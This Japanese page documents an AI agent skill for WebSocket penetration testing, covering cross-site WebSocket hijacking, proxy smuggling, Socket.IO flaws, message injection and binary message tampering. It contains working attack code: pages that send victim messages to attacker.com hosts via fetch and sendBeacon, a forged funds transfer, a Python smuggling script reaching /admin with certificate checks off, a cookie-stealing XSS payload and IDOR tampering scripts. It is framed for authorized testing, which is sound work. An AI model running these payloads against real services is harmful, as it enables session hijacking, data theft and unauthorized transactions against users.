websocket-security について
websocket-securityは、WebSocketのハンドシェイク、セッション、メッセージ処理を調べるセキュリティテスト用スキルです。CSWSHや一般的な脆弱性、通信の検査・橋渡しに使うツールを扱います。
主な機能
- 01WebSocketのハンドシェイクと基礎
- 02CSWSHリスクの確認
- 03セッションとOriginの検証
- 04メッセージ注入と通信のリスク
- 05wsreplとHTTPブリッジツール
活用シーン
- 01ハンドシェイクのOrigin検証
- 02セッションと権限境界の確認
- 03メッセージ処理の注入テスト
- 04ツールを使ったWebSocket通信の検査
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill websocket-securityインストール後、Claude Code で/websocket-securityを入力して読み込まれたか確認します。
詳細
スキル:WebSocket セキュリティ
AI LOAD INSTRUCTION:このスキルでは、WebSocket プロトコルの基本、クロスサイト WebSocket ハイジャック(CSWSH)、実用的なツール連携、一般的な脆弱性の種類を扱います。許可されたテストでのみ適用し、トークンとメッセージ内容は機密情報として扱ってください。REST/GraphQL の関連テストについては、ワークスペースに存在する場合、api-sec も併せて読み込んでください。
0. クイックスタート
プロキシまたは生のトラフィックを確認する際は、次の点に注意してください。
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocol
サーバーの成功応答を示す指標:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
ルーティングに関する注意:Burp/ブラウザーの DevTools では、101 と Upgrade: websocket で絞り込んでください。より詳細な API テストでは、api-sec を通じて認証/認可モデルを整合させてください。
1. プロトコルの基本
クライアントリクエスト(一般的な例)
Upgrade: websocketとConnection: Upgrade— アップグレードハンドシェイクに必須です。Sec-WebSocket-Key— Base64 形式のノンスです。サーバーはマジック GUID とともにハッシュ化し、Sec-WebSocket-Acceptで応答します。Sec-WebSocket-Version: 13— ブラウザーの相互運用における現行の標準バージョンです。
サーバー応答
HTTP/1.1 101 Switching Protocols— ハンドシェイクが完了し、以降のフレームは RFC に準拠した WebSocket のバイナリ/テキストフレームになります。
最小限の概念的なフロー:
Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, close
2. クロスサイト WebSocket ハイジャック(CSWSH)
発生条件
- サーバーが WebSocket ハンドシェイクで
Origin(または同等のバインディング)を検証しないこと、かつ - 被害者が対象サイトのアクティブなセッション(Cookie ベースまたはブラウザーに保存された認証情報)を持っていること。
この場合、被害者のブラウザーで読み込まれた悪意のあるページが、CSRF と同様の考え方で、永続的な双方向チャネルを介して被害者として WebSocket を開く可能性があります。
概念実証のパターン(ラボ/許可された対象のみ)
const ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = () => { ws.send('HELLO'); };
ws.onmessage = (event) => {
fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
};
テスト時の注意:Origin が検証されるか、Cookie が送信されるか(SameSite のルール)、サブプロトコルまたはカスタムヘッダーが必要かを確認してください。これらの検証が欠けていると、CSWSH のリスクが高まります。
3. ツールを使用したテスト
wsrepl
pip install wsrepl
wsrepl -u wss://target.example.com/ws -P auth_plugin.py
WebSocket のライフサイクル中に、ブラウザーの Cookie、ヘッダー、またはトークンの更新を再現するには、プラグインを使用してください。
ws-harness(他のツール向け HTTP ブリッジ)
python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txt
ブリッジ経由の HTTP エンドポイントで SQL インジェクション用ツールを使う、後続処理の例です(URL はローカルのリスナーに合わせて調整してください)。
sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch
Burp Suite エコシステム
- SocketSleuth — Burp 内で WebSocket トラフィックを検査および操作します。
- WebSocket Turbo Intruder — 高速またはスクリプト化されたメッセージのファジングを行います。
4. 一般的な脆弱性
| 問題 | 重要な理由 |
|---|---|
Origin の検証漏れ | 攻撃者が制御するページからの CSWSH を可能にします |
URL 内の認証トークン(wss://host/ws?token=...) | ログ、プロキシ、Referer、ブラウザー履歴から漏えいする可能性があります |
| メッセージのレート制限なし | 悪用、ブルートフォース、DoS につながります |
wss:// ではなく ws:// を使用 | 通信が平文になります(MITM) |
| メッセージ本文へのインジェクション | コンテンツが別の場所に保存または反映される場合、SQLi、コマンドインジェクション、XSS につながります |
機密情報を含む URL のアンチパターンの例:
wss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
製品の制約に合わせて、Sec-WebSocket-Protocol、最初のメッセージでの認証、または Cookie + CSRF トークンのパターンを優先してください。
5. 判断フロー
- エンドポイントを特定する — JS バンドル、Swagger、または
101応答から特定し、wssとwsのどちらかを記録します。 - ハンドシェイクを確認する —
Origin、Host、Cookie のポリシーは適切ですか?クエリ文字列にトークンはありますか? - セッションのバインディングを確認する — Burp で別のユーザーの Cookie jar を使用して再接続し、サブスクリプションのトピックとデータ漏えいを比較します。
- CSWSH — 被害者のセッションがアクティブな状態で対象に接続するローカル HTML ページを読み込みます。サーバーが不正な Origin を拒否するか、Cookie 以外のシークレットを使用しているかを確認します。
- メッセージの意味を確認する — JSON/テキストのペイロードに対してインジェクションのファジングを行い、HTTP API テストと同じロジックを適用します。
- トランスポート — 本番環境での
ws://を指摘し、TLS と HSTS の整合性を確認します。
6. 関連するルーティング
- api-sec から — 認証、認可、IDOR、レート制限は、同じ WebSocket ルートの背後にある HTTP API と共通することがよくあります。
注:WebSocket は、REST とセッションや権限のモデルを共有することがよくあります。同じバックエンドの認証とリソース境界を統一するには、api-sec を使用してください。
7. CSWSH — 段階的な悪用
ステップ 1:WS ハンドシェイクで Origin チェックがないことを確認する
# In Burp: intercept the WebSocket upgrade request
# Change Origin header to: https://attacker.com
# If 101 Switching Protocols returned → no Origin validation
# If 403/rejected → Origin is checked (test subdomain variants)
ステップ 2:攻撃者のページを作成する
<html>
<body>
<script>
const ws = new WebSocket('wss://target.com/ws');
ws.onopen = function() {
// Connection established as victim (cookies sent automatically)
console.log('Connected as victim');
// Send commands as victim
ws.send(JSON.stringify({action: 'get_profile'}));
ws.send(JSON.stringify({action: 'list_messages'}));
};
ws.onmessage = function(event) {
// Exfiltrate all received messages
fetch('https://attacker.com/collect', {
method: 'POST',
body: event.data
});
};
ws.onerror = function(err) {
fetch('https://attacker.com/error?e=' + encodeURIComponent(err));
};
</script>
</body>
</html>
ステップ 3:Cookie とセッションを乗っ取る
Browser behavior for WebSocket:
- Cookies for the target domain ARE sent automatically in the upgrade request
- SameSite=None cookies always sent
- SameSite=Lax cookies: NOT sent (WebSocket is not top-level navigation)
- SameSite=Strict cookies: NOT sent
Key question: is the session cookie SameSite=None or legacy (no SameSite attribute)?
→ Legacy cookies default to Lax in modern Chrome but None in older browsers
ステップ 4:被害者としてメッセージを読み書きする
// Attacker can both READ and WRITE on the WebSocket
// Read: financial data, private messages, admin commands
// Write: transfer funds, change settings, send messages as victim
ws.onopen = () => {
// Write: perform actions as victim
ws.send(JSON.stringify({
action: 'transfer',
to: 'attacker_account',
amount: 10000
}));
};
ws.onmessage = (e) => {
const data = JSON.parse(e.data);
if (data.type === 'balance') {
// Read: exfiltrate sensitive data
navigator.sendBeacon('https://attacker.com/data',
JSON.stringify(data));
}
};
8. WEBSOCKET スマグリング
概念
WebSocket のアップグレードを利用してリバースプロキシの制限を回避し、WebSocket 接続を通じて任意の HTTP トラフィックをトンネリングします。
アップグレードを利用したプロキシの回避
1. Reverse proxy restricts access to /admin (returns 403)
2. Client sends legitimate WebSocket upgrade to /ws
3. Proxy allows the upgrade (101 response)
4. After upgrade, proxy stops inspecting the connection (raw TCP passthrough)
5. Client sends raw HTTP request through the "WebSocket" connection:
GET /admin HTTP/1.1
Host: backend-server
6. Backend processes the HTTP request → 200 OK with admin content
H2-over-WebSocket スマグリング
1. Connect to target via WebSocket
2. After upgrade, send HTTP/2 preface through the WebSocket tunnel
3. Backend HTTP/2 handler processes the smuggled requests
4. Bypass WAF/proxy rules that only inspect HTTP/1.1 traffic
Python での実装
import websocket
import ssl
ws = websocket.create_connection(
'wss://target.com/ws',
header=['Origin: https://target.com'],
sslopt={"cert_reqs": ssl.CERT_NONE}
)
# After upgrade, send raw HTTP through the tunnel
smuggled_request = (
b"GET /admin/users HTTP/1.1\r\n"
b"Host: internal-backend\r\n"
b"Connection: close\r\n\r\n"
)
ws.send(smuggled_request, opcode=0x2) # binary frame
response = ws.recv()
print(response)
プロキシ固有の動作
| プロキシ | WebSocket トンネルの動作 |
|---|---|
| Nginx | 101 の後は生の TCP を転送します — バックエンドが WS フレームを検証しない場合、スマグリングが可能です |
| HAProxy | option http-server-close と tunnel モードのどちらを使うかによります |
| AWS ALB | WebSocket を終端します — トラフィックを再フレーム化するため、スマグリングは困難です |
| Cloudflare | WebSocket フレームを検査します — 生の HTTP スマグリングはブロックされます |
| Varnish | WebSocket をネイティブにサポートしていません — アップグレードによってキャッシュ全体を回避できる可能性があります |
9. SOCKET.IO 固有の脆弱性
名前空間インジェクション
Socket.IO は名前空間(/admin、/chat)をサポートしています。認可がデフォルトの名前空間でしか行われない場合:
// Client connects to privileged namespace without auth check
const adminSocket = io('https://target.com/admin');
adminSocket.on('connect', () => {
adminSocket.emit('list_users');
});
// Server may not verify that the client is authorized for /admin namespace
イベント名インジェクション
イベント名がユーザー入力から生成される場合:
// Server-side vulnerable pattern:
socket.on(userInput, handler);
// Attacker sends event name that matches internal event:
socket.emit('__disconnect'); // force disconnect other clients
socket.emit('connection'); // re-trigger connection handler
socket.emit('error'); // trigger error handler
確認応答コールバックの悪用
Socket.IO の確認応答ではデータを返せます。確認応答コールバックでサーバーが機密データを送信する場合:
socket.emit('get_data', {id: 'admin'}, (response) => {
// response may contain data the client shouldn't have access to
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify(response)
});
});
ポーリングへのフォールバックによる CSRF
WebSocket が利用できない場合、Socket.IO は HTTP ロングポーリングにフォールバックします。ポーリングトランスポートは Cookie を含む通常の HTTP リクエストを使用するため、追加のトークン検証がなければ CSRF の影響を受けます:
POST /socket.io/?EIO=4&transport=polling&sid=SESSION_ID
Content-Type: application/octet-stream
4{"type":2,"data":["transfer",{"to":"attacker","amount":1000}]}
10. WEBSOCKET メッセージインジェクション
傍受された接続での攻撃(ws:// での MITM)
アプリケーションが ws://(暗号化なし)を使用している場合、同じネットワーク上の攻撃者はメッセージを挿入できます:
1. ARP spoofing or network position to intercept traffic
2. Identify WebSocket frames in TCP stream
3. Inject crafted frames between legitimate messages
4. Both client→server and server→client injection possible
アプリケーションレベルのインジェクション
WebSocket メッセージがサニタイズされずに連結または補間される場合:
// Vulnerable server-side handler:
socket.on('chat', (msg) => {
// If msg contains JSON metacharacters:
broadcast(`{"user":"${username}","msg":"${msg}"}`);
// Injection: msg = '","admin":true,"msg":"hacked'
// Result: {"user":"attacker","msg":"","admin":true,"msg":"hacked"}
});
WebSocket を介した保存型 XSS
1. Send WebSocket message: <img src=x onerror=alert(document.cookie)>
2. Server stores message and broadcasts to all connected clients
3. If client renders message as HTML → stored XSS
4. All connected users affected simultaneously
11. バイナリ WebSocket メッセージの操作
Protobuf のデシリアライズ
WebSocket 経由で Protocol Buffers を使用するアプリケーションは、次の脆弱性がある可能性があります:
1. Capture binary WebSocket frame
2. Decode protobuf structure (use protoc --decode_raw or protobuf-inspector)
3. Modify field values (e.g., change user_id, amount, role)
4. Re-encode and send modified frame
5. Server deserializes without re-validating field constraints
# Decode captured binary frame
echo "CAPTURED_HEX" | xxd -r -p | protoc --decode_raw
# Output: field structure with types and values
# Modify, re-encode, send back through WebSocket
MessagePack のデシリアライズ
import msgpack
import websocket
ws = websocket.create_connection('wss://target.com/ws')
# Decode received binary message
raw = ws.recv()
data = msgpack.unpackb(raw, raw=False)
# data = {'action': 'get_balance', 'user_id': 123}
# Modify and re-send
data['user_id'] = 1 # IDOR: access admin's balance
ws.send(msgpack.packb(data), opcode=0x2)
型混同攻撃
バイナリシリアライズ形式では、型混同が発生する可能性があります:
# Original: user_id as integer (field type 0)
# Modified: user_id as string "1 OR 1=1" (field type 2)
# If server doesn't validate types after deserialization → SQL injection
# Original: is_admin as boolean false (0x00)
# Modified: is_admin as boolean true (0x01)
# Direct privilege escalation if server trusts deserialized values
バイナリ WebSocket 分析ツール
| ツール | 用途 |
|---|---|
| Burp Suite + SocketSleuth | バイナリフレームの傍受と変更 |
protobuf-inspector | 不明な protobuf 構造のデコード |
msgpack-tools | MessagePack のエンコード/デコード用 CLI |
wsdump (websocket-client) | 生フレームのキャプチャと再生 |
| Wireshark | プロトコルレベルでの WebSocket フレームの解析 |